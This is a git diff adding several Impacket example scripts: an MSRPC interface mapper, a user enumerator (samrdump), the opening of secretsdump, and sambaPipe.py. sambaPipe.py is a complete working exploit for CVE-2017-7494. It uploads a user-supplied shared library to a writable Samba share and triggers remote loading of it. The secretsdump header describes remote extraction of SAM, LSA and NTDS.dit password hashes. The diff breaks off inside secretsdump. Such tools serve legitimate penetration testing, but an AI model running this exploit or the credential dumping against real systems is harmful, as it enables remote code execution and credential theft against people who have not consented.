+        if tup[0] in epm.KNOWN_PROTOCOLS:
+            print("Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]]))
+        else:
+            print("Procotol: N/A")
+
+        if uuid.uuidtup_to_bin(tup)[: 18] in KNOWN_UUIDS:
+            print("Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]]))
+        else:
+            print("Provider: N/A")
+
+        print("UUID: %s v%s" % (tup[0], tup[1]))
+
+        if self.__brute_versions:
+            self.bruteforce_versions(tup[0])
+
+        if self.__brute_opnums:
+            try:
+                self.bruteforce_opnums(uuid.uuidtup_to_bin(tup))
+            except DCERPCException as e:
+                if str(e).find('abstract_syntax_not_supported') >= 0:
+                    print("Listening: False")
+                else:
+                    raise
+        print()
+
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    class SmartFormatter(argparse.HelpFormatter):
+        def _split_lines(self, text, width):
+            if text.startswith('R|'):
+                return text[2:].splitlines()  
+            else:
+                return argparse.HelpFormatter._split_lines(self, text, width)
+
+    parser = argparse.ArgumentParser(add_help=True, formatter_class=SmartFormatter, description="Lookups listening MSRPC interfaces.")
+    parser.add_argument('stringbinding', help='R|String binding to connect to MSRPC interface, for example:\n'
+                                              'ncacn_ip_tcp:192.168.0.1[135]\n'
+                                              'ncacn_np:192.168.0.1[\\pipe\\spoolss]\n'
+                                              'ncacn_http:192.168.0.1[593]\n'
+                                              'ncacn_http:[6001,RpcProxy=exchange.contoso.com:443]\n'
+                                              'ncacn_http:localhost[3388,RpcProxy=rds.contoso:443]'
+                                               )
+    parser.add_argument('-brute-uuids', action='store_true', help='Bruteforce UUIDs even if MGMT interface is available')
+    parser.add_argument('-brute-opnums', action='store_true', help='Bruteforce opnums for found UUIDs')
+    parser.add_argument('-brute-versions', action='store_true', help='Bruteforce major versions of found UUIDs')
+    parser.add_argument('-opnum-max', action='store', type=int, default=64, help='Bruteforce opnums from 0 to N, default 64')
+    parser.add_argument('-version-max', action='store', type=int, default=64, help='Bruteforce versions from 0 to N, default 64')
+    parser.add_argument('-auth-level', action='store', type=int, default=6, help='MS-RPCE auth level, from 1 to 6, default 6 '
+                                                                                 '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)')
+    parser.add_argument('-uuid', action='store', help='Test only this UUID')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('ncacn-np-details')
+
+    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '
+                       'If omitted it will use whatever was specified as target. This is useful when target is the '
+                       'NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-auth-rpc', action='store', default='', help='[domain/]username[:password]')
+    group.add_argument('-auth-transport', action='store', default='', help='[domain/]username[:password]')
+    group.add_argument('-hashes-rpc', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-hashes-transport', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for passwords')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    rpcdomain, rpcuser, rpcpass = parse_credentials(options.auth_rpc)
+    transportdomain, transportuser, transportpass = parse_credentials(options.auth_transport)
+
+    if options.brute_opnums and options.brute_versions:
+       logging.error("Specify only -brute-opnums or -brute-versions")
+       sys.exit(1)
+
+    if rpcdomain is None:
+        rpcdomain = ''
+
+    if transportdomain is None:
+        transportdomain = ''
+
+    if rpcpass == '' and rpcuser != '' and options.hashes_rpc is None and options.no_pass is False:
+         from getpass import getpass
+         rpcpass = getpass("Password for MSRPC communication:")
+
+    if transportpass == '' and transportuser != '' and options.hashes_transport is None and options.no_pass is False:
+        from getpass import getpass
+        transportpass = getpass("Password for RPC transport (SMB or HTTP):")
+
+    if options.uuid is not None:
+        uuids = [uuid.string_to_uuidtup(options.uuid)]
+        options.brute_uuids = True
+    else:
+        uuids = rpcdatabase.uuid_database
+
+    try:
+        lookuper = RPCMap(options.stringbinding, options.auth_level, options.brute_uuids, uuids,
+                          options.brute_opnums, options.opnum_max, options.brute_versions, options.version_max)
+        lookuper.set_rpc_credentials(rpcuser, rpcpass, rpcdomain, options.hashes_rpc)
+        lookuper.set_transport_credentials(transportuser, transportpass, transportdomain, options.hashes_transport)
+        lookuper.set_smb_info(options.target_ip, options.port)
+        lookuper.connect()
+        lookuper.do()
+        lookuper.disconnect()
+    except Exception as e:
+        #raise
+
+        # This may contain UTF-8
+        error_text = 'Protocol failed: %s' % e
+        logging.critical(error_text)
+
+        # Exchange errors
+        if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text:
+            logging.critical("This usually means the target is a MS Exchange Server, "
+                             "and connections to this rpc port on this host are not allowed (try port 6001)")
+
+        if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+           RPC_PROXY_CONN_A1_404_ERR in error_text:
+            logging.critical("This usually means the target is a MS Exchange Server, "
+                             "and connections to the specified RPC server are not allowed")
+
+        # Other errors
+        if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
+            logging.critical("This usually means the target has no ACL to connect to this endpoint using RpcProxy")
+
+        if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text:
+           if lookuper.get_rpc_transport().get_auth_type() == AUTH_BASIC and transportdomain == '':
+                logging.critical("RPC proxy basic authentication might require you to specify the domain. "
+                                 "Your domain is empty!")
+
+        if RPC_PROXY_CONN_A1_401_ERR in error_text or \
+           RPC_PROXY_CONN_A1_404_ERR in error_text:
+            logging.info("A proxy in front of the target server detected (may be WAF / SIEM)")
+
+        if 'rpc_s_access_denied' in error_text:
+             logging.critical("This usually means the credentials on the MSRPC level are invalid!")
diff --git a/examples/sambaPipe.py b/examples/sambaPipe.py
new file mode 100644
index 0000000..577ef29
--- /dev/null
+++ b/examples/sambaPipe.py
@@ -0,0 +1,285 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through
+#   the -so parameter.
+#
+#   The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is
+#   retrieved by using NetrShareEnum() API with info level 2.
+#
+#   Example:
+#
+#   ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1
+#
+#   It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username
+#   to use for authentication will be 'bill' and the password will be asked.
+#
+#   ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1
+#
+#   Same as before, but anonymous authentication will be used.
+#
+# Author:
+#   beto (@agsolino)
+#
+
+import argparse
+import logging
+import sys
+from os import path
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.nt_errors import STATUS_SUCCESS
+from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
+    FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
+from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
+    SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
+from impacket.smbconnection import SMBConnection
+
+
+class PIPEDREAM:
+    def __init__(self, smbClient, options):
+        self.__smbClient = smbClient
+        self.__options = options
+
+    def isShareWritable(self, shareName):
+        logging.debug('Checking %s for write access' % shareName)
+        try:
+            logging.debug('Connecting to share %s' % shareName)
+            tid = self.__smbClient.connectTree(shareName)
+        except Exception as e:
+            logging.debug(str(e))
+            return False
+
+        try:
+            self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
+            writable = True
+        except Exception:
+            writable = False
+            pass
+
+        return writable
+
+    def findSuitableShare(self):
+        from impacket.dcerpc.v5 import transport, srvs
+        rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(),
+                                              filename=r'\srvsvc', smb_connection=self.__smbClient)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(srvs.MSRPC_UUID_SRVS)
+        resp = srvs.hNetrShareEnum(dce, 2)
+        for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
+            if self.isShareWritable(share['shi2_netname'][:-1]):
+                sharePath = share['shi2_path'].split(':')[-1:][0][:-1]
+                return share['shi2_netname'][:-1], sharePath
+
+        raise Exception('No suitable share found, aborting!')
+
+    def uploadSoFile(self, shareName):
+        # Let's extract the filename from the input file pathname
+        fileName = path.basename(self.__options.so.replace('\\', '/'))
+        logging.info('Uploading %s to target' % fileName)
+        fh = open(self.__options.so, 'rb')
+        self.__smbClient.putFile(shareName, fileName, fh.read)
+        fh.close()
+        return fileName
+
+    def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
+               impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
+               createContexts=None):
+
+        packet = self.__smbClient.getSMBServer().SMB_PACKET()
+        packet['Command'] = SMB2_CREATE
+        packet['TreeID'] = treeId
+        if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
+            packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
+
+        smb2Create = SMB2Create()
+        smb2Create['SecurityFlags'] = 0
+        smb2Create['RequestedOplockLevel'] = oplockLevel
+        smb2Create['ImpersonationLevel'] = impersonationLevel
+        smb2Create['DesiredAccess'] = desiredAccess
+        smb2Create['FileAttributes'] = fileAttributes
+        smb2Create['ShareAccess'] = shareMode
+        smb2Create['CreateDisposition'] = creationDisposition
+        smb2Create['CreateOptions'] = creationOptions
+
+        smb2Create['NameLength'] = len(fileName) * 2
+        if fileName != '':
+            smb2Create['Buffer'] = fileName.encode('utf-16le')
+        else:
+            smb2Create['Buffer'] = b'\x00'
+
+        if createContexts is not None:
+            smb2Create['Buffer'] += createContexts
+            smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
+            smb2Create['CreateContextsLength'] = len(createContexts)
+        else:
+            smb2Create['CreateContextsOffset'] = 0
+            smb2Create['CreateContextsLength'] = 0
+
+        packet['Data'] = smb2Create
+
+        packetID = self.__smbClient.getSMBServer().sendSMB(packet)
+        ans = self.__smbClient.getSMBServer().recvSMB(packetID)
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            createResponse = SMB2Create_Response(ans['Data'])
+
+            # The client MUST generate a handle for the Open, and it MUST
+            # return success and the generated handle to the calling application.
+            # In our case, str(FileID)
+            return str(createResponse['FileID'])
+
+    def openPipe(self, sharePath, fileName):
+        # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
+        # to make things easier for the caller. Not this time ;)
+        treeId = self.__smbClient.connectTree('IPC$')
+        sharePath = sharePath.replace('\\', '/')
+        pathName = '/' + path.join(sharePath, fileName)
+        logging.info('Final path to load is %s' % pathName)
+        logging.info('Triggering bug now, cross your fingers')
+
+        if self.__smbClient.getDialect() == SMB_DIALECT:
+            _, flags2 = self.__smbClient.getSMBServer().get_flags()
+
+            pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
+
+            ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
+            ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
+            ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
+            ntCreate['Parameters']['FileNameLength'] = len(pathName)
+            ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
+            ntCreate['Parameters']['FileAttributes'] = 0
+            ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
+            ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
+            ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
+            ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
+            ntCreate['Parameters']['SecurityFlags'] = 0
+            ntCreate['Parameters']['CreateFlags'] = 0x16
+            ntCreate['Data']['FileName'] = pathName
+
+            if flags2 & SMB.FLAGS2_UNICODE:
+                ntCreate['Data']['Pad'] = 0x0
+
+            return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
+        else:
+            return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
+                               creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
+
+    def run(self):
+        logging.info('Finding a writeable share at target')
+
+        shareName, sharePath = self.findSuitableShare()
+
+        logging.info('Found share %s with path %s' % (shareName, sharePath))
+
+        fileName = self.uploadSoFile(shareName)
+
+        logging.info('Share path is %s' % sharePath)
+        try:
+            self.openPipe(sharePath, fileName)
+        except Exception as e:
+            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
+                logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho')
+            else:
+                logging.info('Target likely not vulnerable, Unexpected %s' % str(e))
+        finally:
+            logging.info('Removing file from target')
+            self.__smbClient.deleteFile(shareName, fileName)
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-so', action='store', required = True, help='so filename to upload and load')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true",
+                       help='Use Kerberos authentication. Grabs credentials from ccache file '
+                            '(KRB5CCNAME) based on target parameters. If valid credentials '
+                            'cannot be found, it will use the ones specified in the command '
+                            'line')
+    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
+                                                                          '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
+                            'the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, address = parse_target(options.target)
+
+    if options.target_ip is None:
+        options.target_ip = address
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if options.hashes is not None:
+        lmhash, nthash = options.hashes.split(':')
+    else:
+        lmhash = ''
+        nthash = ''
+
+    try:
+        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
+        if options.k is True:
+            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
+        else:
+            smbClient.login(username, password, domain, lmhash, nthash)
+
+        if smbClient.getDialect() != SMB_DIALECT:
+            # Let's disable SMB3 Encryption for now
+            smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA
+        pipeDream = PIPEDREAM(smbClient, options)
+        pipeDream.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/samrdump.py b/examples/samrdump.py
new file mode 100644
index 0000000..013e9f7
--- /dev/null
+++ b/examples/samrdump.py
@@ -0,0 +1,262 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   DCE/RPC SAMR dumper.
+#
+# Author:
+#   Javier Kohen
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   DCE/RPC for SAMR
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import logging
+import argparse
+import codecs
+
+from datetime import datetime
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version
+from impacket.nt_errors import STATUS_MORE_ENTRIES
+from impacket.dcerpc.v5 import transport, samr
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+class ListUsersException(Exception):
+    pass
+
+class SAMRDump:
+    def __init__(self, username='', password='', domain='', hashes=None,
+                 aesKey=None, doKerberos=False, kdcHost=None, port=445, csvOutput=False):
+
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.__port = port
+        self.__csvOutput = csvOutput
+
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    @staticmethod
+    def getUnixTime(t):
+        t -= 116444736000000000
+        t /= 10000000
+        return t
+
+    def dump(self, remoteName, remoteHost):
+        """Dumps the list of users and shares registered present at
+        remoteName. remoteName is a valid host name or IP address.
+        """
+
+        entries = []
+
+        logging.info('Retrieving endpoint list from %s' % remoteName)
+
+        stringbinding = r'ncacn_np:%s[\pipe\samr]' % remoteName
+        logging.debug('StringBinding %s'%stringbinding)
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+        rpctransport.setRemoteHost(remoteHost)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                         self.__nthash, self.__aesKey)
+        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+        try:
+            entries = self.__fetchList(rpctransport)
+        except Exception as e:
+            logging.critical(str(e))
+
+        # Display results.
+
+        if self.__csvOutput is True:
+            print('#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,UserComment,ScriptPath')
+
+        for entry in entries:
+            (username, uid, user) = entry
+            pwdLastSet = (user['PasswordLastSet']['HighPart'] << 32) + user['PasswordLastSet']['LowPart']
+            if pwdLastSet == 0:
+                pwdLastSet = '<never>'
+            else:
+                pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(pwdLastSet)))
+
+            if user['UserAccountControl'] & samr.USER_DONT_EXPIRE_PASSWORD:
+                dontExpire = 'True'
+            else:
+                dontExpire = 'False'
+
+            if user['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED:
+                accountDisabled = 'True'
+            else:
+                accountDisabled = 'False'
+
+            if self.__csvOutput is True:
+                print('%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'],
+                                                      user['BadPasswordCount'], user['LogonCount'],pwdLastSet,
+                                                      dontExpire, accountDisabled, user['UserComment'].replace(',','.'),
+                                                      user['ScriptPath']  ))
+            else:
+                base = "%s (%d)" % (username, uid)
+                print(base + '/FullName:', user['FullName'])
+                print(base + '/UserComment:', user['UserComment'])
+                print(base + '/PrimaryGroupId:', user['PrimaryGroupId'])
+                print(base + '/BadPasswordCount:', user['BadPasswordCount'])
+                print(base + '/LogonCount:', user['LogonCount'])
+                print(base + '/PasswordLastSet:',pwdLastSet)
+                print(base + '/PasswordDoesNotExpire:',dontExpire)
+                print(base + '/AccountIsDisabled:',accountDisabled)
+                print(base + '/ScriptPath:', user['ScriptPath'])
+
+        if entries:
+            num = len(entries)
+            if 1 == num:
+                logging.info('Received one entry.')
+            else:
+                logging.info('Received %d entries.' % num)
+        else:
+            logging.info('No entries received.')
+
+
+    def __fetchList(self, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+
+        entries = []
+
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+
+        try:
+            resp = samr.hSamrConnect(dce)
+            serverHandle = resp['ServerHandle'] 
+
+            resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
+            domains = resp['Buffer']['Buffer']
+
+            print('Found domain(s):')
+            for domain in domains:
+                print(" . %s" % domain['Name'])
+
+            logging.info("Looking up users in domain %s" % domains[0]['Name'])
+
+            resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
+
+            resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
+            domainHandle = resp['DomainHandle']
+
+            status = STATUS_MORE_ENTRIES
+            enumerationContext = 0
+            while status == STATUS_MORE_ENTRIES:
+                try:
+                    resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
+                except DCERPCException as e:
+                    if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                        raise 
+                    resp = e.get_packet()
+
+                for user in resp['Buffer']['Buffer']:
+                    r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
+                    print("Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] ))
+                    info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
+                    entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
+                    entries.append(entry)
+                    samr.hSamrCloseHandle(dce, r['UserHandle'])
+
+                enumerationContext = resp['EnumerationContext'] 
+                status = resp['ErrorCode']
+
+        except ListUsersException as e:
+            logging.critical("Error listing users: %s" % e)
+
+        dce.disconnect()
+
+        return entries
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Explicitly changing the stdout encoding format
+    if sys.stdout.encoding is None:
+        # Output is redirected to a file
+        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the "
+                                                                    "target system.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-csv', action='store_true', help='Turn CSV output')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
+                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
+                       'name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    dumper = SAMRDump(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port), options.csv)
+    dumper.dump(remoteName, options.target_ip)
diff --git a/examples/secretsdump.py b/examples/secretsdump.py
new file mode 100644
index 0000000..304be4f
--- /dev/null
+++ b/examples/secretsdump.py
@@ -0,0 +1,431 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Performs various techniques to dump hashes from the
+#   remote machine without executing any agent there.
+#   For SAM and LSA Secrets (including cached creds)
+#   we try to read as much as we can from the registry
+#   and then we save the hives in the target system
+#   (%SYSTEMROOT%\\Temp dir) and read the rest of the
+#   data from there.
+#   For NTDS.dit we either:
+#       a. Get the domain users list and get its hashes
+#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
+#          call, replicating just the attributes we need.
+#       b. Extract NTDS.dit via vssadmin executed  with the
+#          smbexec approach.
+#          It's copied on the temp dir and parsed remotely.
+#
+#   The script initiates the services required for its working
+#   if they are not available (e.g. Remote Registry, even if it is
+#   disabled). After the work is done, things are restored to the
+#   original state.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# References:
+#   Most of the work done by these guys. I just put all
+#   the pieces together, plus some extra magic.
+#
+#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
+#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
+#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
+#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
+#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
+#   - https://code.google.com/p/creddump/
+#   - https://lab.mediaservice.net/code/cachedump.rb
+#   - https://insecurety.net/?p=768
+#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm
+#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
+#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import codecs
+import logging
+import os
+import sys
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.smbconnection import SMBConnection
+
+from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \
+    KeyListSecrets
+from impacket.krb5.keytab import Keytab
+try:
+    input = raw_input
+except NameError:
+    pass
+
+class DumpSecrets:
+    def __init__(self, remoteName, username='', password='', domain='', options=None):
+        self.__useVSSMethod = options.use_vss
+        self.__useKeyListMethod = options.use_keylist
+        self.__remoteName = remoteName
+        self.__remoteHost = options.target_ip
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = options.aesKey
+        self.__aesKeyRodc = options.rodcKey
+        self.__smbConnection = None
+        self.__remoteOps = None
+        self.__SAMHashes = None
+        self.__NTDSHashes = None
+        self.__LSASecrets = None
+        self.__KeyListSecrets = None
+        self.__rodc = options.rodcNo
+        self.__systemHive = options.system
+        self.__bootkey = options.bootkey
+        self.__securityHive = options.security
+        self.__samHive = options.sam
+        self.__ntdsFile = options.ntds
+        self.__history = options.history
+        self.__noLMHash = True
+        self.__isRemote = True
+        self.__outputFileName = options.outputfile
+        self.__doKerberos = options.k
+        self.__justDC = options.just_dc
+        self.__justDCNTLM = options.just_dc_ntlm
+        self.__justUser = options.just_dc_user
+        self.__pwdLastSet = options.pwd_last_set
+        self.__printUserStatus= options.user_status
+        self.__resumeFileName = options.resumefile
+        self.__canProcessSAMLSA = True
+        self.__kdcHost = options.dc_ip
+        self.__options = options
+
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    def connect(self):
+        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
+        if self.__doKerberos:
+            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                               self.__nthash, self.__aesKey, self.__kdcHost)
